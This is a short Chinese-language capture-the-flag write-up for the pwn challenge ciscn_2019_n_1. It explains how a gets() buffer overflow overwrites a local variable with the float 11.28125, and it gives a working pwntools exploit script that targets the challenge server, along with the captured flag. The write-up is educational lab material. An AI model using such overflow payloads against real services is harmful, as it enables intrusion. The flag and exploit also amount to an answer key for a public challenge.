ciscn_2019_n_1

       
-------------已经到底啦!-------------
 

可能是栈溢出吗

先放出pwn的checksec

64位且栈堆不可执行

IDA打开

gets是可以溢出的,但没必要;这一题我们只要覆盖到v2,然后让v2==11.28125就可以了.

因此gets时先覆盖b’a’*(0x30-0x04)即可到v2的部分,再跟上11.28125的十六进制数即可成功获取flag.

通过在线转换我们获得16进制的浮点数.

让我们开始payload吧.

构造exp如下

1
2
3
4
5
from pwn import *
h=remote("node3.buuoj.cn",28466)
payload=b'A'*(0x30-4)+p64(0x41348000)
h.sendline(payload)
h.interactive()

最后执行得到flag

!!flag{3220e461-4bf7-4910-8abc-19873d83291c}!!{.bulr}

贴一个在线进制转换

CLICK ME